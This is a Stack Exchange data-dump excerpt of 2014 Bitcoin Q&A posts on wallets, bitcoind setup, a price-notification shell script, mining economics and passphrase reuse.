  <row Id="20178" PostTypeId="1" CreationDate="2014-01-09T15:00:41.030" Score="1" ViewCount="1429" Body="&lt;p&gt;I've had the  Bitcoin Wallet for Android for some time. When I installed it I was assigned some public address/key. I have made various transactions in and out of the wallet but as fas as I can tell the address has not changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Android Wallet not transfer change from a transaction into a new address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually don’t want it to do this. I want one fixed address I can use to send and receive coins. I also expected that the private key I backed-up early on would still be valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If change addresses are created does this mean I have to backup my keys after every transaction?&lt;/p&gt;&#xA;" OwnerUserId="7561" LastEditorUserId="5406" LastEditDate="2016-01-05T13:43:14.513" LastActivityDate="2016-01-05T13:43:14.513" Title="Change addresses and key backup on Bitcoin Wallet for Android" Tags="|private-key|public-key|backup|change|bitcoin-wallet-app|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20180" PostTypeId="1" CreationDate="2014-01-09T15:14:11.470" Score="0" ViewCount="34" Body="&lt;p&gt;I'm using a solid state for my boot drive, I'd like to make sure the blockchain goes to my data drive, any way to acomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I am using easyminer and bitcoin-qt, it is about moving the blockchain. I looked for something similar. When you don't know what you're looking for it's hard to find answers about it.&lt;/p&gt;&#xA;" OwnerUserId="11982" LastEditorUserId="11982" LastEditDate="2014-01-09T16:29:55.347" LastActivityDate="2014-01-09T16:29:55.347" Title="Is there any way to move the Blockchain?" Tags="|blockchain|bitcoin.conf|" AnswerCount="0" CommentCount="2" ClosedDate="2014-01-14T13:35:40.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="20181" PostTypeId="1" AcceptedAnswerId="20184" CreationDate="2014-01-09T15:16:03.657" Score="3" ViewCount="1748" Body="&lt;p&gt;When I run command&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;getrawtransaction&#xA;  4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in my bitcoin-qt console (or bitcoind), I get&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No information available about transaction (code -5)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I can get raw data about any other transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is link to blockchain.info: &lt;a href=&quot;https://blockchain.info/ru/tx/4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/ru/tx/4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-01-09T15:49:50.397" Title="Why I cannot get transaction from genesis block" Tags="|raw-transaction|genesis-block|" AnswerCount="1" CommentCount="0" ClosedDate="2016-07-08T10:53:15.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="20182" PostTypeId="2" ParentId="2972" CreationDate="2014-01-09T15:29:55.573" Score="-1" Body="&lt;p&gt;You can also &lt;a href=&quot;https://btcmarkets.net/signupIndividual&quot; rel=&quot;nofollow&quot;&gt;Buy Bitcoins&lt;/a&gt; at BTC Markets an Australian &lt;a href=&quot;https://btcmarkets.net&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5863" LastEditorUserId="5863" LastEditDate="2016-05-04T04:12:14.243" LastActivityDate="2016-05-04T04:12:14.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20184" PostTypeId="2" ParentId="20181" CreationDate="2014-01-09T15:49:50.397" Score="1" Body="&lt;p&gt;I found answer to my question there: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10009/why-cant-the-genesis-block-coinbase-be-spent&quot;&gt;Why can’t the genesis block coinbase be spent?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For some reason, Satoshi decided not to add the coinbase transaction&#xA;  from the genesis block to the global transaction database. Thus all&#xA;  the nodes in the network would reject the block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10411" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-01-09T15:49:50.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20186" PostTypeId="2" ParentId="20107" CreationDate="2014-01-09T16:17:07.850" Score="1" Body="&lt;p&gt;You are running bitcoind 0.3.24.  This is a very old version that won't work properly on today's Bitcoin network. The latest version is 0.8.6.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the Ubuntu maintainers have not updated the version of bitcoind in the standard 12.04 repository; so you'll have to get a current version from somewhere else.  The Ubuntu developers maintain a repository of their own for bitcoin, so you can install the latest version by doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:bitcoin/bitcoin &#xA;sudo apt-get update&#xA;sudo apt-get install bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also get these instructions from an &quot;official&quot; source by going to &lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/download&lt;/a&gt; and following the &quot;Ubuntu (PPA)&quot; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In answer to your other question, when you run &lt;code&gt;bitcoind&lt;/code&gt; without arguments, it runs in the foreground and accepts commands on standard input (after a delay of a minute or two while starting).  You can exit it by typing &lt;code&gt;stop&lt;/code&gt;.  You can also run it in the background by doing &lt;code&gt;bitcoind -daemon&lt;/code&gt;, and then feed it commands by running &lt;code&gt;bitcoind getinfo&lt;/code&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-09T16:17:07.850" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20190" PostTypeId="1" CreationDate="2014-01-09T16:51:16.990" Score="0" ViewCount="222" Body="&lt;p&gt;In about one years time, when mining is really difficult, what would be the incentive for people to mine? &#xA;And if there aren't enough miners, how would transactions succeed?&lt;/p&gt;&#xA;" OwnerUserId="11955" LastEditorUserId="5406" LastEditDate="2016-04-25T21:00:58.413" LastActivityDate="2016-04-25T21:00:58.413" Title="Mining in one years time" Tags="|mining-theory|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ClosedDate="2014-03-15T15:39:37.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="20191" PostTypeId="2" ParentId="20190" CreationDate="2014-01-09T17:05:20.743" Score="2" Body="&lt;p&gt;Won't happen because of pure greed, if people start leaving difficulty will drop and then it will become profitable again plus even if the normal person can't mine we will have some big company that will profit from mining and keep the network running. This poses other issues when big company's get involved but that's out of scope for this question.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2014-01-09T17:05:20.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20199" PostTypeId="2" ParentId="20168" CreationDate="2014-01-09T18:45:34.980" Score="-1" Body="&lt;p&gt;I modified the script and used notify-send to get what I wanted. I run the lightweight notification daemon &lt;code&gt;xfce4-notifyd&lt;/code&gt; but most desktop environments (Gnome, KDE, Xfce) should have one preinstalled (for example Gnome's &lt;code&gt;notification-daemon&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on the &lt;code&gt;jq&lt;/code&gt; command, so make sure you install it first using your package manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;# Requires jq&#xA;&#xA;# Remember to chmod +x!&#xA;#&#xA;# Add the following cron-job (using &quot;crontab -e&quot;) to run at hourly intervals:&#xA;#     0 * * * * export DISPLAY=:0.0 &amp;amp;&amp;amp; /bin/bash &amp;lt;SCRIPT_PATH_GOES_HERE&amp;gt; &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;# Change &amp;lt;SCRIPT_PATH_GOES_HERE&amp;gt; to the appropriate name&#xA;&#xA;BTCE_PRICE=&quot;$(curl -s https://btc-e.com/api/2/btc_usd/ticker | jq '.ticker.last')&quot;&#xA;MTGOX_PRICE=&quot;$(curl -s http://data.mtgox.com/api/2/BTCUSD/money/ticker_fast | jq '.data.last.display' | cut -d &quot;\&quot;&quot; -f 2)&quot;&#xA;&#xA;notify-send &quot;MtGox:     $MTGOX_PRICE&#xA;BTC-e:      \$$BTCE_PRICE&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also available &lt;a href=&quot;https://gist.github.com/ErikBjare/8332113&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to run it on hourly intervals add the following line to your crontab using &lt;code&gt;crontab -e&lt;/code&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 * * * * export DISPLAY=:0.0 &amp;amp;&amp;amp; /bin/bash &amp;lt;SCRIPT_PATH_GOES_HERE&amp;gt; &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11498" LastActivityDate="2014-01-09T18:45:34.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20203" PostTypeId="1" AcceptedAnswerId="20209" CreationDate="2014-01-09T19:42:37.177" Score="1" ViewCount="485" Body="&lt;p&gt;I just registered at overstock.com to buy something, because I heard that they accept bitcoins as of today. But when I checked out, there was no option to pay with bitcoins. Only PayPal and credit cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to do something specific to activate bitcoin payment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone post a screenshot of a working Bitcoin checkout?&lt;/p&gt;&#xA;" OwnerUserId="11997" LastEditorUserId="5406" LastEditDate="2014-05-25T10:07:12.967" LastActivityDate="2014-05-25T10:07:12.967" Title="How can I pay with Bitcoin on overstock.com o.co?" Tags="|payment|retail|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20204" PostTypeId="1" AcceptedAnswerId="20208" CreationDate="2014-01-09T19:57:51.237" Score="1" ViewCount="566" Body="&lt;p&gt;I have a password-protected wallet in Multibit that I have backed up in multiple locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have exported the private keys from this wallet. The private keys are password-protected using the same password as my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The password is more than 50 characters (passphrase) with words that cannot be found in a dictionary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet file and private keys file are stored together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't care if the attacker can see my balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;How (un)safe is this?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;If an attacker retrieves these files, can the attacker take a cryptographic shortcut because both files use the same password?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11998" LastActivityDate="2014-01-10T07:27:20.190" Title="Multibit: Using the same passphrase for both my wallet and exported private keys" Tags="|multibit|cryptography|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20205" PostTypeId="2" ParentId="19771" CreationDate="2014-01-09T20:17:31.753" Score="2" Body="&lt;p&gt;When p2pool is started with --debug, it submits all shares to the node (dogecoind, bitcoind etc.). &lt;/p&gt;&#xA;" OwnerUserId="3806" LastActivityDate="2014-01-09T20:17:31.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20206" PostTypeId="2" ParentId="20135" CreationDate="2014-01-09T20:36:30.923" Score="1" Body="&lt;p&gt;You misunderstand how accounts work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All coins in a wallet are always shared between all accounts. When creating a new transaction, the coins are taken from the entire set a wallet has access to - independent from how these were obtained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts are just bean counters - virtual balances. When a transaction is received that spends to address X, and address X has label L in your wallet, account L is credited with this receive. If you use sendmany or sendfrom and specify a from account, that accounts' balance is decreased by the amount of value that leaves your wallet through that transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change does not exist in this high level view. It is not money that is entering or leaving your wallet, and thus cannot affect any balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts are a confusing feature, its use cases are limited, and have several implementation problem. In many cases, people assume they behave as independent wallets, which is not the case. They may be removed in some later version.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-09T20:36:30.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20208" PostTypeId="2" ParentId="20204" CreationDate="2014-01-09T22:05:07.917" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How (un)safe is this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is probably OK. Even though, in general case, you would want a different password for any different use, in your case the things you protecting are nearly the same. The wallet will hold all the &quot;keys&quot;, and the keys along form your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you have a selection of deposit boxes in a bank. Now imagine that there are no guards in the bank and anyone can pop in and open any deposit box. Now, expand this idea, instead of a single bank you have as many deposit boxes as there are probably atoms in the universe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A key is a pointer to one of those boxes. No passwords, no locks, just the location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the wallet and keys are kind of the same stuff you can use the same passwords. But really, in a world where tools like &lt;a href=&quot;http://keepass.info/&quot; rel=&quot;nofollow&quot;&gt;KeyPass&lt;/a&gt;, can generate strong random noise, there is no excuse not to use them, and not to have two different passwords.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If an attacker retrieves these files, can the attacker take a cryptographic shortcut because both files use the same password?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An attacker would need to get access to either of the wallet or the keys to get your money. Given access to any, means he will be able to transfer the funds elsewhere. The good news, he will need to know your password. There are no successful attacks known, that can decrypt the data without the password.&lt;/p&gt;&#xA;" OwnerUserId="11862" LastActivityDate="2014-01-09T22:05:07.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20209" PostTypeId="2" ParentId="20203" CreationDate="2014-01-09T22:24:19.463" Score="2" Body="&lt;p&gt;Only for the USA at the moment according to &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1utcz6/bitcoin_payments_are_now_live_on_overstockcom/&quot; rel=&quot;nofollow&quot;&gt;reddit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you go to the checkout page on Overstock you'll see an option to&#xA;  pay with Bitcoin!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-edit- For now it's only available on the U.S. checkout but I hear from reliable sources that they will roll it out to international&#xA;  after a bake in period.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-01-09T22:24:19.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20211" PostTypeId="1" CreationDate="2014-01-09T22:53:13.040" Score="1" ViewCount="691" Body="&lt;p&gt;I see that bitcoin is reaching 1000USD. If bitcoin becomes widely accepted currency, then we'll have to deal with decimal numbers like 0.00023 for onions etc. This can be cumbersome and might become a blocker for bitcoin adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To overcome this problem, some people already started using mBTC (milli bitcoin) as units. But this is confusing. The better solution would be to split the bitcoins (like we do in stocks). With this approach, when BTC reaches 1000USD, we can split 1BTC into 1000BTC and it would be easy to manage the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, does the bitcoin algorithm supports splitting of bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-10T06:41:06.177" Title="Is split possible in bitcoins (like in stocks)?" Tags="|economic-theory|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20212" PostTypeId="1" CreationDate="2014-01-09T22:54:36.330" Score="2" ViewCount="11603" Body="&lt;p&gt;I have a Linux machine with an Nvidia GPU (&lt;em&gt;GeForce GTX 760&lt;/em&gt;). Is there a tool, rather than writing your own, that can currently mine Bitcoin using CUDA on Linux?&lt;/p&gt;&#xA;" OwnerUserId="11984" LastActivityDate="2021-05-23T05:30:54.080" Title="Mining Bitcoin on Linux with CUDA?" Tags="|linux|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20213" PostTypeId="2" ParentId="20211" CreationDate="2014-01-09T23:00:44.137" Score="2" Body="&lt;p&gt;The protocol can be changed to provide for further division of BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol could also be changed to provide for a one time split or reverse split by adjusting all accounts on a certain date/block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that something like this could cause a hard fork.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-01-09T23:00:44.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20214" PostTypeId="2" ParentId="20211" CreationDate="2014-01-09T23:04:25.470" Score="4" Body="&lt;p&gt;No. And that would be even more confusing. You would have to synchronize the split, and for historical prices you would need to know if they were old BTC or BTC after first split, second split etc... Just use mBTC, uBTC, satoshi, or even fractions of the smallest unit if need be.&lt;/p&gt;&#xA;" OwnerUserId="12003" LastActivityDate="2014-01-09T23:04:25.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20215" PostTypeId="2" ParentId="14408" CreationDate="2014-01-09T23:15:24.183" Score="1" Body="&lt;p&gt;Paste your &lt;a href=&quot;http://ltc.blockr.io/&quot; rel=&quot;nofollow&quot;&gt;litecoin address in blockr.io&lt;/a&gt; search and then you will get your &lt;a href=&quot;http://ltc.blockr.io/address/info/LUj4ruJzLRS7oq9KjE9hYXJCXq24dbaLUZ&quot; rel=&quot;nofollow&quot;&gt;litecoin address info page&lt;/a&gt;. Thare you will see your address balance, total received and &lt;strong&gt;total transaction&lt;/strong&gt; so far.&lt;/p&gt;&#xA;" OwnerUserId="12004" LastEditorUserId="1891" LastEditDate="2014-01-09T23:39:12.393" LastActivityDate="2014-01-09T23:39:12.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20216" PostTypeId="2" ParentId="20211" CreationDate="2014-01-09T23:34:32.450" Score="2" Body="&lt;p&gt;The reasoning behind stock splittings is not preventing cumbersome numbers. It's because you can't sell half a stock, so if a stock costs 1000€ you can't invest just 500€. Thus, a high stock price limits the minimum investment. This is not the case for Bitcoin, because it is divisable into a thousand mBTC, a million µBTC or even 100 Million Satoshis. If this should not be enough some day, the protocol would have to be changed, which is possible although difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the protocol obviously makes no specifications on the naming of the units. If everybody would agree to call mBTC BTC from now on, nothing would have to change. But I'm pretty sure this won't happen, because in my opinion this would be a lot more confusing than just using mBTC.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2014-01-09T23:34:32.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20217" PostTypeId="1" AcceptedAnswerId="20221" CreationDate="2014-01-10T00:01:29.337" Score="2" ViewCount="570" Body="&lt;p&gt;Trading platforms like mtgox and bitstamp display the current bitcoin price on the top. How they calculate that and what effect it has when trading? What labels Last|High|Low and Vol actually mean?&lt;/p&gt;&#xA;" OwnerUserId="11962" LastEditorUserId="15412" LastEditDate="2014-07-14T14:46:43.713" LastActivityDate="2014-07-14T14:46:43.713" Title="How mtgox and bitstamp calculate the bitcoin price?" Tags="|mtgox|exchange-rate|bitstamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20218" PostTypeId="1" AcceptedAnswerId="20220" CreationDate="2014-01-10T00:06:23.613" Score="-1" ViewCount="778" Body="&lt;p&gt;The bitcoin is around 1000USD today even with very little adoption. I am wondering what its value will be if it becomes as common as other currencies (say USD).&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="5406" LastEditDate="2014-01-16T11:34:10.827" LastActivityDate="2014-01-16T11:34:10.827" Title="What will be the value of a bitcoin if it becomes as common as any other currency?" Tags="|bitcoin-economy|" AnswerCount="2" CommentCount="4" ClosedDate="2014-01-31T06:09:52.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="20219" PostTypeId="1" CreationDate="2014-01-10T00:37:07.953" Score="3" ViewCount="6665" Body="&lt;p&gt;I've heard P2P mining pools are the answer to the current threat of mining pools controlling 51% of Bitcoin's hashing power.  Is this true or not true?  Does anyone have a supporting or critical assessment of P2P mining pools? What are the trade offs? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11737" LastEditorUserId="5406" LastEditDate="2016-04-17T20:11:35.090" LastActivityDate="2016-04-17T20:11:35.090" Title="What are the pros and cons of P2P mining pools?" Tags="|mining-pools|p2pool|majority-attack|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20220" PostTypeId="2" ParentId="20218" CreationDate="2014-01-10T00:43:00.647" Score="4" Body="&lt;p&gt;The best way to derive the possible value is by looking at market cap of bitcoin as a whole. There is currently about 1.2 trillion in USDs in physical currency alone. There are many ways to count how much USD there is though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;M1 represents all of the currency in the M0 money supply, plus all of&#xA;  the money held in checking accounts and other checkable accounts, as&#xA;  well as all of the money in travelers' checks. In June 2013, the M1&#xA;  money supply for U.S. dollars equaled about $2.5 trillion [source:&#xA;  Federal Reserve]. M2 is the M1 supply, plus all of the money held in&#xA;  money market funds, savings accounts and CDs under $100,000. In June&#xA;  2013, the M2 money supply was about $10.5 trillion [source: Federal&#xA;  Reserve]. M3 is M2 plus larger CDs. As of March 2006, the Fed stopped&#xA;  tracking the M3 money stock as an economic indicator because it felt&#xA;  it did not add any information on economic activity that was not&#xA;  already available from M2 [sources: Federal Reserve, Federal Reserve&#xA;  Bank of New York]. All told, anyone looking for all of the U.S.&#xA;  dollars in the world in July 2013 could expect to find approximately&#xA;  $10.5 trillion in existence, using the M2 money supply definition. If&#xA;  you just want to count actual notes and coins, there are about U.S.&#xA;  $1.2 trillion floating around the globe.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so for a complete currency, the &quot;market cap&quot; is around 1 to 12 trillion, which corresponds to a price of $47,619 - $571,000 per coin, using the 21 million bitcoin limit as the supply&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-01-10T00:43:00.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20221" PostTypeId="2" ParentId="20217" CreationDate="2014-01-10T00:54:36.407" Score="4" Body="&lt;p&gt;I do not understand what do you mean by the current bitcoin price on the top (I can not see it), but I will clarify on some other numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Last&lt;/strong&gt; - the price of bitcoin based on the last transaction. So if I bought 1.2 bitcoins with a price of 950$ and this is the latest transaction so far, this number will appear in the last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;High&lt;/strong&gt; - What was the highest price for the day. Bitcoin price fluctuates and if you assume that during the day the price went from 900 to 920, dropped to 870 went to 980 and right now it is 950, the highest per day was 980. This number you will see in high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low&lt;/strong&gt; - the same idea as with high, but the lowest number. For this example it will be 870.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About Volume, I might be wrong so if there is someone who knows better, please edit my post. &lt;strong&gt;Volume&lt;/strong&gt; this is the total number of bitcoins which are putted on sale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore the &lt;strong&gt;weighted average&lt;/strong&gt; is calculated in the following way. Assume you have 3 guys putting their prices on bitcoin. First one wants to sell 1B for 900, second 3B for 910, third one 2B for 890. The weighted average will be (1*900 + 3*910 + 2*890)/(1 + 3 + 2) = 901.666&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2014-01-10T00:54:36.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20223" PostTypeId="2" ParentId="20218" CreationDate="2014-01-10T01:27:29.813" Score="0" Body="&lt;p&gt;I think at some point, probably about the point you describe (where BC is as &quot;common&quot; as US$, assuming &quot;common&quot; means &quot;accepted in as many places), where the question ceases to be &quot;how much is a BC worth (in US$)&quot;, and becomes &quot;what is a US$ worth (in BC)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A item (e.g. currency, chickens) is worth what someone will pay for it. In some other currency.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-01-10T01:27:29.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20224" PostTypeId="2" ParentId="20204" CreationDate="2014-01-10T01:44:50.280" Score="1" Body="&lt;p&gt;I do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are very important reasons why you should, in general, not use a password in more than one location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is: if your password protecting one thing gets compromised, your other password is also compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is: If someone has a copy of your password (e.g. Facebook, to check it when you log in), then that someone also has the password for the other service (being the same). So, an unscrupulous facebook employee can steal your twitter account. Or, if facebook gets hacked, the hacker also has your twitter account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither of these is relevant to Bitcoin; if someone has your wallet and your password, they no longer need your private key password; they have your wallet, and vice-versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it is very important to keep your private key backup IN A DIFFERENT PLACE! - if your hard drive fails, you lose all your BC!&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-01-10T01:44:50.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20228" PostTypeId="2" ParentId="19965" CreationDate="2014-01-10T03:17:47.930" Score="4" Body="&lt;p&gt;Found a helpful post at &lt;a href=&quot;https://litecointalk.org/index.php?topic=4768.15&quot;&gt;litecointalk&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It won't work because the aux work must be explicitly provided by the merge coin.  All of these coins cloned from Litecoin lack that code as Litecoin doesn't have it.  As a result you cannot merge mine these coins.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is the same reason you can't merge mine Terracoin or Freicoin with Bitcoin.  Freicoin considered it in the past as means to stabilize their network, but I'm guessing they decided against it because they are afraid of their value collapsing even more.  Trouble is none of the small PoW coins are able to maintain a stable network if they are subject to sudden reorg attacks at any moment as many of the scrypt clone networks often experience.  Thus avoiding merge coins to preserve &quot;value&quot; is illusory and self-defeating.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, apparently there is a scrypt coin designed for merged mining with Litecoin called UnitedScryptCoin, though I didn't have a chance to try it yet. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=353688.0&quot;&gt;Link to UnitedScryptCoin thread in bitcointalk&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="8935" LastActivityDate="2014-01-10T03:17:47.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20233" PostTypeId="1" CreationDate="2014-01-10T07:12:26.577" Score="-1" ViewCount="1231" Body="&lt;p&gt;I downloaded the fedora coin wallet but when I open the file it says “file incomplete or damaged”. I download it from fedoracoin web site more than ten times with the same outcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where can I download a wallet that will work for Windows 7?&lt;/p&gt;&#xA;" OwnerUserId="12013" LastEditorUserId="132" LastEditDate="2014-01-13T13:53:54.333" LastActivityDate="2014-01-26T11:43:48.360" Title="Where can I find a worknig fedoracoin wallet for Windows?" Tags="|wallet|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20234" PostTypeId="2" ParentId="19965" CreationDate="2014-01-10T07:14:53.183" Score="0" Body="&lt;p&gt;mergedmining coins do not take any extra power away from the parent block chain. an advantage to a merged mining coin would be the ability to merge it across several scrypt chains causing a higher level of security. there is one coin that runs with mergedmining, but to get it working you need to know a lot about coding. you must add the getauxpow commands and such so you can stick the header of the parent chain in to the child chain. Since most scrypt pools are run on MPOS/AIO installers, sadly most pool ops do not have the required skills to code their own merged mining pool server.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-10T07:14:53.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
